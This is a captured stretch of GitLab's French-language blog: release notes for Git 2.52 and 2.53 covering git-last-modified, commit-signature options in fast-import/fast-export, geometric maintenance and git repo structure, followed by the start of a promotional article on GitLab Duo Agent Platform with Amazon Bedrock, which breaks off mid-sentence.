d'importer efficacement des données dans un dépôt et qui est utilisé par des outils tels que [git-filter-repo(1)](https://github.com/newren/git-filter-repo) pour aider à réécrire l'historique d'un dépôt en masse. Dans la version Git 2.52, git-fast-import(1) a appris l'option `--signed-commits=\u003Cmode>`, qui est similaire à la même option dans git-fast-export(1). Avec cette option, il est devenu possible de conserver ou de supprimer de façon inconditionnelle les signatures des commits et des tags.\n\n\nDans les situations où seule une partie de l'historique du dépôt a été réécrite, toute signature pour les commits ou tags réécrits devient invalide. Cela signifie que git-fast-import(1) est limité : la commande peut soit supprimer toutes les signatures, soit les conserver même si elles sont devenues invalides. Mais conserver des signatures invalides n'est pas vraiment utile, c'est pourquoi la réécriture de l'historique avec git-repo-filter(1) entraîne la suppression de toutes les signatures, même si le commit ou tag sous-jacent n'est pas réécrit. Cette approche n'est pas idéale : si le commit ou tag ne change pas, sa signature est toujours valide et il n'y a donc aucune raison réelle de la supprimer. Nous avons en réalité besoin de préserver les signatures pour les objets inchangés, et de supprimer les signatures invalides.\n\n\nAvec la sortie de Git 2.53, l'option `--signed-commits=\u003Cmode>` de git-fast-import(1) a appris un nouveau mode `strip-if-invalid` qui, lorsqu'il est utilisé, supprime seulement les signatures devenues invalides des commits réécrits. Ainsi, avec cette option, il devient possible de préserver certaines signatures de commits lors de l'utilisation de git-fast-import(1). Il s'agit d'une étape critique vers la mise en place des bases qui permettent à des outils comme git-repo-filter(1) de préserver les signatures valides et, plus tard, de signer à nouveau les signatures invalides.\n\n\nCe projet a été mené par [Christian Couder](https://gitlab.com/chriscool).\n\n\n## Plus de données collectées dans git-repo-structure\n\n\nDans la version Git 2.52, la sous-commande « structure » a été introduite dans git-repo(1). L'objectif de cette commande était de collecter des informations sur le dépôt et de remplacer éventuellement nativement des outils tels que [git-sizer(1)](https://github.com/github/git-sizer). Chez GitLab, nous hébergeons des dépôts extrêmement volumineux, et disposer d'informations sur la structure générale d'un dépôt est essentiel pour comprendre ses performances. Dans cette version, la commande collecte désormais également des informations sur la taille totale des objets accessibles dans un dépôt afin d'aider à comprendre la taille globale du dépôt. Dans les données de sortie ci-dessous, vous pouvez voir que la commande collecte désormais à la fois les tailles totales décompressées et sur disque des objets accessibles par type.\n\n```shell\n$ git repo structure\n\n| Repository structure | Value      |\n| -------------------- | ---------- |\n| * References         |            |\n|   * Count            |   1.78 k   |\n|     * Branches       |      5     |\n|     * Tags           |   1.03 k   |\n|     * Remotes        |    749     |\n|     * Others         |      0     |\n|                      |            |\n| * Reachable objects  |            |\n|   * Count            | 421.37 k   |\n|     * Commits        |  88.03 k   |\n|     * Trees          | 169.95 k   |\n|     * Blobs          | 162.40 k   |\n|     * Tags           |    994     |\n|   * Inflated size    |   7.61 GiB |\n|     * Commits        |  60.95 MiB |\n|     * Trees          |   2.44 GiB |\n|     * Blobs          |   5.11 GiB |\n|     * Tags           | 731.73 KiB |\n|   * Disk size        | 301.50 MiB |\n|     * Commits        |  33.57 MiB |\n|     * Trees          |  77.92 MiB |\n|     * Blobs          | 189.44 MiB |\n|     * Tags           | 578.13 KiB |\n```\n\n\nVous aurez peut-être également remarqué que les valeurs de taille dans le tableau des données de sortie sont désormais également affichées de manière plus conviviale avec des unités. Dans les versions suivantes, nous espérons étendre davantage les données de sortie de cette commande pour fournir des éléments supplémentaires, tels que les objets individuels les plus volumineux du dépôt.\n\n\nCe projet a été mené par [Justin Tobler](https://gitlab.com/justintobler).\n\n\n## Pour en savoir plus\n\n\nCet article n'a mis en évidence que quelques-unes des contributions apportées par GitLab et la communauté Git pour cette dernière version. Vous pouvez en apprendre davantage sur ces contributions dans l'[annonce de version officielle](https://lore.kernel.org/git/xmqq4inz13e3.fsf@gitster.g/T/#u) du projet Git. Consultez également nos [articles de blog précédents sur les versions de Git](https://about.gitlab.com/fr-fr/blog/tags/git/) pour découvrir d'autres contributions des membres de l'équipe GitLab.","2026-02-03","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png",[1140],"Justin Tobler","Découvrez les contributions à cette version, notamment les correctifs apportés au rempaquetage géométrique, une évolution des options de gestion des signatures de commits dans git-fast-import(1), et bien plus encore.","Nouveautés de Git 2.53.0",{"featured":691,"template":843,"slug":1144},"whats-new-in-git-2-53-0",{"content":1146,"config":1156},{"tags":1147,"category":780,"date":1148,"heroImage":1138,"authors":1149,"title":1153,"description":1154,"body":1155},[967,1056,244],"2025-11-19",[1150,1151,1152],"Christian Couder","Toon Claes","Patrick Steinhardt","Nouveautés de Git 2.52.0","Découvrez les contributions à cette version, notamment la nouvelle commande git-last-modified(1), les améliorations des outils de réécriture de l'historique et une nouvelle stratégie de maintenance.","Le projet [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/) a récemment publié [Git 2.52](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/). Après un cycle de publication relativement court de 8 semaines pour la [version 2.51](https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-51-0/), en raison de l'été dans l'hémisphère nord, cette version revient au cycle habituel de 12 semaines. Passons en revue certaines modifications notables, notamment les contributions de l'équipe Git de GitLab ainsi que de l'ensemble de la communauté Git.\n\n## Nouvelle commande git-last-modified(1)\n\nDe nombreuses forges Git comme GitLab affichent les fichiers dans une vue arborescente comme celle-ci :\n\n| Nom        | Dernier commit                                             | Dernière mise à jour  |\n| ------------- | --------------------------------------------------------- | -------------- |\n| README.md   | README: *.txt -> *.adoc fixes                           | Il y a 4 mois |\n| RelNotes    | Start 2.51 cycle, the first batch                       | Il y a 4 semaines  |\n| SECURITY.md | SECURITY: describe how to report vulnerabilities        | Il y a 4 ans      |\n| abspath.c   | abspath: move related functions to abspath              | Il y a 2 ans      |\n| abspath.h   | abspath: move related functions to abspath              | Il y a 2 ans      |\n| aclocal.m4  | configure: use AC_LANG_PROGRAM consistently             | Il y a 15 ans |\n| add-patch.c | pager: stop using `the_repository`                      | Il y a 7 mois |\n| advice.c    | advice: allow disabling default branch name advice      | Il y a 4 mois |\n| advice.h    | advice: allow disabling default branch name advice      | Il y a 4 mois |\n| alias.h     | rebase -m: fix serialization of strategy options        | Il y a 2 ans      |\n| alloc.h     | git-compat-util: move alloc macros to git-compat-util.h | Il y a 2 ans  |\n| apply.c     | apply: only write intents to add for new files          | Il y a 8 jours   |\n| archive.c   | Merge branch 'ps/parse-options-integers'                | Il y a 3 mois |\n| archive.h   | archive.h: remove unnecessary include                   | Il y a 1 an       |\n| attr.h      | fuzz: port fuzz-parse-attr-line from OSS-Fuzz           | Il y a 9 mois |\n| banned.h    | banned.h: mark `strtok()` and `strtok_r()` as banned    | Il y a 2 ans      |\n\n \u003Cbr>\u003C/br>\n\nOutre les fichiers eux-mêmes, nous affichons également le dernier commit qui a modifié chaque fichier. Cette information est facile à extraire de Git en exécutant la commande suivante :\n```shell\n\n$ git log --max-count=1 HEAD -- \u003Cfilename>\n\n```\nBien que simple et pratique, cette approche présente une limitation importante : Git ne dispose pas d'un moyen d'extraire cette information pour chacun de ces fichiers en une seule commande. Ainsi, pour obtenir le dernier commit de tous les fichiers de l'arborescence, il faut exécuter cette commande pour chaque fichier séparément, ce qui donne un pipeline similaire à celui-ci :\n```shell\n\n$ git ls-tree HEAD --name-only | xargs --max-args=1 git log --max-count=1 HEAD --\n\n```\nNéanmoins, cette approche n'est pas très efficace :\n\n* Il est nécessaire de lancer une nouvelle commande Git pour chaque fichier.\n\n* Git doit parcourir l'historique de chaque fichier séparément.\n\nEn conséquence, cette opération complète est assez coûteuse et génère une charge importante pour GitLab.\n\nPour répondre à ces défis, une nouvelle sous-commande Git, git-last-modified(1), a été introduite. Elle indique le dernier commit pour chaque fichier d'un commit donné :\n```shell\n\n$ git last-modified HEAD\n\n\ne56f6dcd7b4c90192018e848d0810f091d092913        add-patch.c\n373ad8917beb99dc643b6e7f5c117a294384a57e        advice.h\ne9330ae4b820147c98e723399e9438c8bee60a80        advice.c\n5e2feb5ca692c5c4d39b11e1ffa056911dd7dfd3        alloc.h\n954d33a9757fcfab723a824116902f1eb16e05f7        RelNotes\n4ce0caa7cc27d50ee1bedf1dff03f13be4c54c1f        apply.c\n5d215a7b3eb0a9a69c0cb9aa43dcae956a0aa03e        archive.c\nc50fbb2dd225e7e82abba4380423ae105089f4d7        README.md\n72686d4e5e9a7236b9716368d86fae5bf1ae6156        attr.h\nc2c4138c07ca4d5ffc41ace0bfda0f189d3e262e        archive.h\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.c\n5d1344b4973c8ea4904005f3bb51a47334ebb370        abspath.h\n60ff56f50372c1498718938ef504e744fe011ffb        banned.h\n4960e5c7bdd399e791353bc6c551f09298746f61        alias.h\n2e99b1e383d2da56c81d7ab7dd849e9dab5b7bf0        SECURITY.md\n1e58dba142c673c59fbb9d10aeecf62217d4fc9c        aclocal.m4\n```\nL'avantage de cette approche est évident : nous n'avons plus besoin d'exécuter qu'un seul processus Git pour obtenir toutes ces informations. Mais plus important encore, Git ne doit parcourir l'historique qu'une seule fois pour tous les fichiers.\n\nVoici comment faire :\n\n1. Commencez à parcourir l'historique depuis le commit souhaité.\n2. Pour chaque commit :\n   1. S'il ne modifie aucun des chemins d'accès qui nous intéressent, continuez au commit suivant.\n   2. En cas de chemins d'accès modifiés, affichez l'identifiant du commit avec le chemin, puis retirez le chemin de l'ensemble des chemins.\n3. Arrêtez-vous lorsque la liste des chemins est vide.\nGitaly a déjà été adapté pour utiliser la nouvelle commande, mais la logique est encore protégée par un feature flag. Des tests préliminaires ont montré que dans la plupart des situations, `git-last-modified(1)` est au moins deux fois plus rapide que `git log --max-count=1`.\n\n*Ces modifications ont été [écrites à l'origine](https://github.com/ttaylorr/git/tree/tb/blame-tree) par plusieurs développeurs de GitHub et ont été [intégrées en amont](https://lore.kernel.org/git/20250805093358.1791633-1-toon@iotcl.com/) dans Git par [Toon Claes](https://gitlab.com/toon).*\n\n## Améliorations liées aux signatures pour git-fast-export(1) et git-fast-import(1)\n\nLes commandes `git-fast-export(1)` et `git-fast-import(1)` sont conçues pour être principalement utilisées par des outils d'interopérabilité ou de réécriture d'historique. Les outils d'interopérabilité ont pour objectif d'assurer des interactions harmonieuses entre Git et un autre logiciel, le plus souvent un système de contrôle de version qui stocke les données dans un format différent de Git. Par exemple, [hg-fast-export.sh](https://github.com/frej/fast-export) est un « convertisseur Mercurial vers Git utilisant git-fast-import ».\n\nLes outils de réécriture d'historique permettent aux utilisateurs, généralement des administrateurs, d'apporter des modifications à l'historique de leurs dépôts qui ne sont pas possibles ou pas autorisées par le système de [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/). Par exemple, [reposurgeon](http://www.catb.org/esr/reposurgeon/) indique dans son [introduction](https://gitlab.com/esr/reposurgeon/-/blob/master/repository-editing.adoc?ref_type=heads#introduction) que son objectif est « de permettre des opérations risquées que les systèmes de contrôle de version n'autorisent pas comme (a) modifier des commentaires et métadonnées passés, (b) supprimer des commits, (c) fusionner et diviser des commits, (d) supprimer des fichiers et sous-arbres de l'historique du dépôt, (e) fusionner ou greffer deux dépôts ou davantage et (f) diviser un dépôt en deux en dissociant une relation parent-enfant et en préservant la structure des branches des deux dépôts enfants ».\n\nAu sein de GitLab, nous utilisons [git-filter-repo](https://github.com/newren/git-filter-repo) pour autoriser les administrateurs à effectuer certaines opérations risquées sur leurs dépôts Git. Malheureusement, jusqu'à la [version Git 2.50](https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-50-0/) publiée en juin dernier, ni `git-fast-export(1)` ni `git-fast-import(1)` ne prenaient en charge les signatures cryptographiques de commits. Bien que `git-fast-export(1)` ait une option `--signed-tags=\u003Cmode>` qui permette aux utilisateurs de modifier la façon dont les signatures cryptographiques de tags sont gérées, les signatures de commits étaient simplement ignorées.\n\nLes signatures cryptographiques sont très fragiles, car elles sont basées sur les données exactes du commit ou du tag qui ont été signées. Lorsque les données signées ou l'historique qui les précède changent, la signature cryptographique devient invalide. C'est une exigence fragile mais qui rend ces signatures utiles.\n\nDans le contexte de la réécriture d'historique, cette approche devient problématique :\n\n* Nous pourrions vouloir conserver les signatures cryptographiques pour les commits et les tags toujours valides après la réécriture (par exemple, parce que l'historique n'a pas changé).\n\n* Nous pourrions vouloir créer de nouvelles signatures cryptographiques pour les commits et les tags dont la signature précédente est désormais invalide.\n\nCependant, ni `git-fast-import(1)` ni `git-fast-export(1)` ne prennent en charge ces cas d'utilisation, ce que des outils comme [git-filter-repo](https://github.com/newren/git-filter-repo) ou [reposurgeon](http://www.catb.org/esr/reposurgeon/) ne peuvent accomplir.\n\nVoici les progrès significatifs réalisés :\n\n* Dans la version Git 2.50, nous avons ajouté une option `--signed-commits=\u003Cmode>` à `git-fast-export(1)` pour exporter les signatures de commits, et une prise en charge dans `git-fast-import(1)` pour les importer.\n\n* Dans la [version Git 2.51](https://about.gitlab.com/fr-fr/blog/what-s-new-in-git-2-51-0/), nous avons amélioré le format utilisé pour exporter et importer les signatures de commits et modifié `git-fast-import(1)` afin que la commande puisse importer à la fois une signature sur l'ID d'objet SHA-1 du commit et une sur son ID d'objet SHA-256.\n\n* Dans la version Git 2.52, nous avons ajouté les options `--signed-commits=\u003Cmode>` et `--signed-tags=\u003Cmode>` à `git-fast-import(1)`, afin que l'utilisateur puisse contrôler la gestion des données signées au moment de l'importation.\n\n\nLe travail n'est pas encore terminé. Nous devons encore ajouter les fonctionnalités suivantes :\n\n* Conserver uniquement les signatures de commits qui sont toujours valides dans `git-fast-import(1)`.\n\n* Signer à nouveau les données dont la signature est devenue invalide.\n\nNous avons déjà commencé à travailler sur ces prochaines étapes, qui devraient être intégrées à Git 2.53. Une fois ces fonctionnalités disponibles, des outils comme `git-filter-repo(1)` pourront enfin mieux gérer les signatures cryptographiques. Nous vous tiendrons informés dans notre prochain article de blog consacré à la sortie de version Git.\n\n*Ce projet a été mené par [Christian Couder](https://gitlab.com/chriscool).*\n\n## Améliorations des stratégies git-maintenance(1)\n\nLes dépôts Git nécessitent une maintenance régulière pour garantir de bonnes performances. Lors de cette opération, les références sont optimisées, les objets compressés et les données obsolètes éliminées.\n\nJusqu'à la version Git 2.28, ces tâches de maintenance étaient effectuées par `git-gc(1)`. Néanmoins, cette commande n'a pas été conçue dans un esprit de personnalisation : bien que certains paramètres puissent être configurés, il n'est pas possible de contrôler les parties d'un dépôt à optimiser. Elle ne convient donc pas à tous les cas d'utilisation. Plus important encore, il est très difficile d'itérer sur la façon dont Git effectue la maintenance du dépôt.\n\nPour résoudre ce problème et itérer à nouveau, [Derrick Stolee](https://github.com/derrickstolee) a déployé `git-maintenance(1)`. Contrairement à `git-gc(1)`, cette commande a été conçue pour être personnalisable et permet à l'utilisateur de configurer les tâches spécifiques qui doivent s'exécuter dans un certain dépôt. Ce nouvel outil est devenu l'outil par défaut pour la maintenance automatisée de Git dans la version Git 2.29, mais, par défaut, il utilise toujours `git-gc(1)` pour effectuer la maintenance.\n\nBien que cette stratégie de maintenance par défaut fonctionne bien pour les dépôts de petite taille ou même de taille moyenne, elle se révèle problématique dans le contexte de grands monorepos. Le principal facteur limitant est la façon dont `git-gc(1)` rempaquette les objets : dès que le nombre de fichiers d'empaquetage (« packfiles ») dépasse les 50, l'outil les fusionne en un seul fichier. Cette opération gourmande en CPU provoque de nombreuses opérations d'E/S et peut facilement prendre plusieurs minutes, voire des heures pour les grands monorepos.\n\nGit sait déjà comment minimiser ces rempaquetages via le « rempaquetage géométrique ». L'idée est simple : les fichiers d'empaquetage du dépôt doivent suivre une progression géométrique, c'est-à-dire que chaque fichier doit contenir au moins deux fois plus d'objets que le fichier suivant plus petit. Git peut ainsi amortir le nombre de rempaquetages requis et garantir une quantité relativement limitée de fichiers d'empaquetage. Ce mode a été introduit par [Taylor Blau](https://github.com/ttaylorr) dans la version Git 2.32, mais il n'était pas intégré dans la maintenance automatisée.\n\nTous les éléments existants servent à faciliter la mise à l'échelle de la maintenance du dépôt pour les grands monorepos : l'outil flexible `git-maintenance(1)` peut être étendu pour intégrer une nouvelle stratégie de maintenance, et nous disposons d'une meilleure méthode pour rempaqueter les objets. Il ne reste plus qu'à combiner ces deux éléments.\n\nEt c'est exactement ce que nous avons fait dans la version Git 2.52. La nouvelle stratégie de maintenance « géométrique » peut être configurée dans vos dépôts Git et est destinée à remplacer complètement l'ancienne stratégie basée sur `git-gc(1)`. Voici le code de configuration dont vous avez besoin :\n```shell\n\n$ git config set maintenance.strategy geometric\n\n```\nÀ partir de maintenant, Git utilisera le rempaquetage géométrique afin d'optimiser vos objets. Résultat : un taux d'attrition plus faible et une optimisation de l'état de vos objets, en particulier dans les grands monorepos.\n\nDans Git 2.53, nous prévoyons d'en faire la stratégie par défaut.\n\n*Ce projet a été dirigé par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).*\n\n## Nouvelle sous-commande pour git-repo(1) afin d'afficher les métriques du dépôt\n\nLes performances des opérations Git dans un dépôt dépendent souvent de certaines caractéristiques de sa structure sous-jacente. Chez GitLab, nous hébergeons des dépôts extrêmement volumineux, et il est essentiel d'avoir un aperçu de la structure générale d'un dépôt pour comprendre ses performances. Bien qu'il soit possible de combiner diverses commandes Git et d'autres outils pour obtenir certaines métriques du dépôt, il est impossible d'afficher des informations sur la forme/structure d'un dépôt via une seule commande dans Git. Pour combler cette lacune, des outils externes comme git-sizer(1) ont été développés.\n\nAvec la sortie de Git 2.52, une nouvelle sous-commande « structure » a été ajoutée à git-repo(1) dans le but d'afficher des informations sur la structure d'un dépôt. Actuellement, elle indique le nombre de références et d'objets dans le dépôt sous la forme suivante :\n```shell\n\n$ git repo structure\n\n\n| Repository structure | Value  |\n| -------------------- | ------ |\n| * References         |        |\n|   * Count            |   1772 |\n|     * Branches       |      3 |\n|     * Tags           |   1025 |\n|     * Remotes        |    744 |\n|     * Others         |      0 |\n|                      |        |\n| * Reachable objects  |        |\n|   * Count            | 418958 |\n|     * Commits        |  87468 |\n|     * Trees          | 168866 |\n|     * Blobs          | 161632 |\n|     * Tags           |    992 |\n\n```\nDans les versions ultérieures, nous espérons enrichir cette commande et fournir d'autres points de données intéressants comme les objets les plus volumineux du dépôt.\n\n*Ce projet a été mené par [Justin Tobler](https://gitlab.com/justintobler).*\n\n## Améliorations liées au Google Summer of Code 2025\n\nNous avons mené trois projets avec succès au cours du Google Summer of Code.\n\n### Refactorisation pour réduire l'état global de Git\n\nGit contient plusieurs variables globales utilisées dans tout le code source qui augmentent la complexité du code et réduisent sa maintenabilité. Dans le cadre de ce projet, [Ayush Chandekar](https://ayu-ch.github.io/) a réduit l'utilisation de la variable globale `the_repository` via une série de correctifs.\n\n*Le projet a été encadré par [Christian Couder](https://gitlab.com/chriscool) et [Ghanshyam Thakkar](https://in.linkedin.com/in/ghanshyam-thakkar).*\n\n### Outil de requête d'informations lisibles par machine sur le dépôt\n\nGit manque d'un moyen centralisé pour récupérer des informations sur les dépôts. Les utilisateurs sont donc obligés de les obtenir à partir de diverses commandes. Bien que `git-rev-parse(1)` soit devenu l'outil par défaut pour accéder à une grande partie de ces données, il ne s'agit pas de son objectif principal.\n\nDans le cadre de ce projet, [Lucas Oshiro](https://lucasoshiro.github.io/en/) a créé une nouvelle commande, `git-repo(1)`, qui centralisera toutes les informations au niveau du dépôt. Les utilisateurs peuvent maintenant utiliser `git repo info` pour obtenir des informations sur un dépôt :\n```shell\n\n$ git repo info layout.bare layout.shallow object.format references.format\n\nlayout.bare=false\nlayout.shallow=false\nobject.format=sha1\nreferences.format=reftable\n\n```\n*Le projet a été encadré par [Patrick Steinhardt](https://gitlab.com/pks-gitlab) et [Karthik Nayak](https://gitlab.com/knayakgl).*\n\n### Consolidation des fonctionnalités liées aux références dans git-refs\n\nGit propose plusieurs commandes pour gérer les références, à savoir `git-for-each-ref(1)`, `git show-ref(1)`, `git-update-ref(1)` et `git-pack-refs(1)`. Cette multiplication des commandes freine leur utilisation et crée des fonctionnalités redondantes. Pour résoudre ce problème, nous avons développé la commande `git-refs(1)` afin de consolider ces opérations dans une interface unique. Dans le cadre de ce projet, [Meet Soni](https://inosmeet.github.io/) a étendu la commande avec les sous-commandes suivantes :\n\n* `git refs optimize` pour optimiser le backend qui gère les références\n\n* `git refs list` pour afficher toutes les références\n\n* `git refs exists` pour vérifier l'existence d'une référence\n\n*Le projet a été encadré par [Patrick Steinhardt](https://gitlab.com/pks-gitlab) et [shejialuo](https://luolibrary.com/).*\n\n## Et après ?\n\nPrêt à découvrir ces améliorations ? Passez à la version Git 2.52.0 et commencez à utiliser `git last-modified`.\n\nChez GitLab, nous nous assurerons que toutes ces améliorations soient déployées dans une instance GitLab près de chez vous !\n\nPour en savoir plus, consultez les [notes de version officielles de Git 2.52.0](https://lore.kernel.org/git/xmqqh5usmvsd.fsf@gitster.g/) et explorez notre [archive complète du développement Git](https://about.gitlab.com/fr-fr/blog/tags/git/).",{"featured":691,"template":843,"slug":1157},"whats-new-in-git-2-52-0",{"category":71,"slug":793,"posts":1159},[1160,1172,1184],{"content":1161,"config":1170},{"title":1162,"description":1163,"body":1164,"category":793,"tags":1165,"date":1007,"authors":1166,"heroImage":1169},"GitLab + Amazon : l'orchestration de plateforme portée par une IA fiable","Associez GitLab Duo Agent Platform à Amazon Bedrock pour un développement logiciel agentique et une orchestration sécurisée.","Si votre équipe utilise GitLab et dispose d'une solide pratique AWS, la combinaison de GitLab Duo Agent Platform et d'Amazon Bedrock a été conçue pour vous. Le principe est simple : GitLab joue le rôle de couche d'orchestration pour accélérer l'ensemble de votre cycle de vie logiciel grâce à l'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\"), tandis qu'Amazon Bedrock fournit une couche de modèles de fondation sécurisée et conforme, avec l'inférence IA en arrière-plan.\n\nGitLab Duo Agent Platform vous permet de gérer la planification, les merge de pipelines, les scans de sécurité, la remédiation des vulnérabilités et bien plus encore dans le cadre de vos workflows GitLab, tandis que la passerelle d'IA de GitLab achemine les appels de modèles vers Amazon Bedrock (ou vers des points de terminaison gérés par GitLab et adossés à Bedrock, selon votre configuration). Vous pouvez ainsi vous appuyer sur les politiques de gestion des identités et des accès (IAM), les périmètres de cloud privé virtuel (VPC), les contrôles régionaux et les engagements de dépenses cloud que vous avez déjà définis dans AWS.\n\nSi vous utilisez déjà Amazon Bedrock et souhaitez que l'IA intervienne directement dans vos activités GitLab, et non dans un autre outil de chat autonome, cette combinaison est faite pour vous.\n\n\nDans cet article, nous abordons le problème concret auquel de nombreuses équipes sont confrontées aujourd'hui : l'IA est fragmentée, les flux de données sont flous et l'investissement dans Amazon Bedrock est sous-exploité lorsque l'IA se trouve en dehors du cycle de développement logiciel. \n\nNous détaillerons ensuite vos options de déploiement pour GitLab Duo Agent Platform :\n\n* Intégration avec des modèles auto-hébergés sur Amazon Bedrock pour les déploiements GitLab Self-Managed et la passerelle d'IA auto-hébergée\n* Intégration avec des modèles opérés par GitLab sur Amazon Bedrock (avec des clés appartenant à GitLab) pour les déploiements GitLab Self-Managed et la passerelle d'IA hébergée par GitLab\n* Intégration avec des modèles opérés par GitLab sur Amazon Bedrock (avec des clés appartenant à GitLab) pour les instances GitLab.com et la passerelle d'IA hébergée par GitLab\n\nEnfin, nous conclurons par un résumé expliquant comment cette approche permet d'éviter le Shadow AI et la multiplication d'outils spécialisés, sans créer de pile technologique parallèle dédiée à l'IA.\n\n## IA omniprésente, contrôle inexistant\n\nEn ce moment même, des équipes de développement au sein de votre entreprise utilisent peut-être un outil d'IA que votre équipe de sécurité n'a pas approuvé. Des données de prompt quittent peut-être votre environnement par un chemin que personne n'a entièrement cartographié. Et l'investissement de votre organisation dans Amazon Bedrock est peut-être sous-exploité, tandis que d'autres équipes financent séparément des outils d'IA, détournant ainsi les charges de travail et les dépenses cloud des plateformes auxquelles vous vous êtes déjà engagés.\n\nPlutôt qu'un problème humain, il s'agit peut-être d'un problème d'architecture. Et il fait ressortir les trois mêmes contraintes dans presque toutes les entreprises :\n\n**Fragmentation opérationnelle.** Chaque équipe, voire chaque développeur, choisit ses propres outils de développement, y compris les outils d'IA et les modèles. Cette fragmentation rend la gouvernance de bout en bout au sein du cycle de vie du développement logiciel quasiment impossible.\n\n**Sécurité et souveraineté.** Où circulent réellement les données de prompt et de code ? Qui est propriétaire des logs ?\n\n**Optimisation des dépenses cloud.** Les engagements envers des fournisseurs cloud majeurs comme AWS se diluent à mesure que les charges de travail et l'utilisation de l'IA migrent vers des outils ponctuels en dehors des accords existants des clients.\n\nGitLab Duo Agent Platform et Amazon Bedrock contribuent ensemble à résoudre ces problèmes. La répartition des responsabilités est claire : GitLab Duo Agent Platform prend en charge l'orchestration des workflows avec l'IA agentique pour le développement logiciel, Amazon Bedrock gère la couche d'inférence et héberge les modèles de fondation approuvés, et votre organisation conserve un contrôle total sur les périmètres de données et de politiques déjà définis dans AWS. Trois missions, trois responsables, aucune fragmentation.\n\n## GitLab Duo Agent Platform : le plan de contrôle agentique\n\nGitLab Duo Agent Platform est la couche d'IA agentique de GitLab : un framework d'agents et de flows spécialisés qui opèrent simultanément et en parallèle, dépassant les transferts traditionnels par étapes et contribuant à automatiser les tâches sur l'ensemble du cycle de vie logiciel. Plutôt qu'un assistant unique répondant à des prompts, GitLab Duo Agent Platform permet aux équipes d'orchestrer de nombreux agents d'IA de manière asynchrone, en s'appuyant sur des données unifiées et le contexte du projet, tickets, merge requests, pipelines et résultats de sécurité inclus. Les workflows linéaires se transforment en une collaboration coordonnée et continue entre les équipes de développement et leurs agents d'IA, à grande échelle.\n\nUne fois ce plan de contrôle mis en place, la question qui se pose naturellement est de savoir quelle infrastructure d'IA devrait alimenter ces agents. Pour les clients qui exécutent GitLab Self-Managed sur AWS et ont besoin que le trafic d'inférence, les données de prompt et les logs restent également dans leur environnement AWS avec leurs données de cycle de vie logiciel, Amazon Bedrock en tant que couche d'inférence IA est la solution idéale.\n\n## Amazon Bedrock : une base fiable pour l'IA\n\nAmazon Bedrock est une couche de modèles de fondation entièrement gérée et sans serveur, qui s'exécute intégralement dans votre environnement AWS. Les données clients restent dans leur compte AWS : les entrées et sorties sont chiffrées en transit et au repos, ne sont jamais partagées avec les fournisseurs de modèles et ne sont jamais utilisées pour entraîner des modèles de base. Amazon Bedrock est certifié pour la conformité RGPD, HIPAA et FedRAMP High, couvrant de nombreuses exigences des secteurs réglementés sans configuration supplémentaire. Les équipes peuvent également importer des modèles affinés depuis d'autres sources via Custom Model Import et les déployer aux côtés des modèles Amazon Bedrock natifs via la même infrastructure, sans gérer de pipelines de déploiement séparés. Bedrock Guardrails ajoute des protections configurables sur tous les modèles pour le filtrage de contenu, la détection des hallucinations et la protection des données sensibles.\n\nEnsemble, GitLab Duo Agent Platform et Amazon Bedrock consolident l'orchestration [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") et la gouvernance des modèles d'IA, contribuant à éliminer la fragmentation qui survient lorsque les équipes déploient des outils d'IA de manière indépendante.\n\n## Choisir votre modèle de déploiement\n\nL'intégration offre les mêmes fonctionnalités principales de GitLab Duo Agent Platform, quel que soit le mode de déploiement. Ce qui varie, c'est qui gère GitLab, qui opère la passerelle d'IA et dans quel compte Amazon Bedrock l'inférence s'exécute. Le bon modèle dépend de l'environnement dans lequel votre organisation opère déjà.\n\nÀ un niveau général, l'intégration comporte trois composants principaux :\n\n* **GitLab Duo Agent Platform :** workflows agentiques intégrés tout au long du cycle de vie du développement logiciel\n* **Passerelle d'IA (gérée par GitLab ou auto-hébergée) :** la couche d'abstraction entre GitLab Duo Agent Platform et le backend de modèles de fondation\n* **Amazon Bedrock :** le substrat de modèles d'IA et d'inférence\n\n![Déploiement de GitLab et AWS Bedrock](https://res.cloudinary.com/about-gitlab-com/image/upload/v1776362365/udmvmv2efpmwtkxgydch.png)\n\nLe choix d'un modèle de déploiement est guidé par l'endroit où une organisation souhaite placer les leviers de contrôle. Les modèles présentés ci-dessous sont conçus pour s'adapter à la situation actuelle des équipes, qu'elles privilégient une approche SaaS, optent pour une gestion autonome à des fins de conformité ou misent entièrement sur AWS en tirant parti de leurs investissements existants dans Amazon Bedrock.\n\n| Modèle de déploiement | Instance GitLab.com avec passerelle d'IA hébergée par GitLab et modèles Amazon Bedrock opérés par GitLab | GitLab Self-Managed avec passerelle d'IA hébergée par GitLab et modèles Bedrock opérés par GitLab | GitLab Self-Managed avec passerelle d'IA auto-hébergée et modèles Bedrock opérés par le client |\n| :---- | :---- | :---- | :---- |\n| **Idéal si vous :** | Utilisez principalement GitLab.com et ne souhaitez pas auto-héberger la passerelle d'IA et les modèles Bedrock | Avez besoin de GitLab Self-Managed pour des raisons de conformité et opérationnelles, mais ne souhaitez pas gérer la couche d'IA | Êtes centré sur AWS avec une utilisation Bedrock existante et des besoins stricts en matière de données et de contrôle |\n| **Principaux avantages** | La solution la plus rapide et clé en main pour accéder aux workflows de GitLab Duo Agent Platform : GitLab gère GitLab.com, la passerelle d'IA, intégrée aux modèles d'IA Bedrock. | Conservez GitLab déployé dans votre propre environnement tout en consommant les modèles Bedrock via une passerelle d'IA gérée par GitLab, alliant contrôle du déploiement et simplification des opérations d'IA. | Exécutez GitLab et la passerelle d'IA dans votre compte AWS, réutilisez vos configurations IAM/VPC/régions existantes, conservez les logs et les données dans votre environnement, et imputez l'utilisation de Bedrock à vos engagements de dépenses AWS existants. |\n\n## Comment les clients utilisent GitLab Duo Agent Platform avec Amazon Bedrock\n\nLes équipes plateforme peuvent utiliser GitLab Duo Agent Platform avec Amazon Bedrock pour standardiser les modèles chargés des suggestions de code, de l'analyse de sécurité et de la remédiation des pipelines. Cela permet d'appliquer des garde-fous et une journalisation de manière centralisée, plutôt que de laisser chaque équipe adopter des 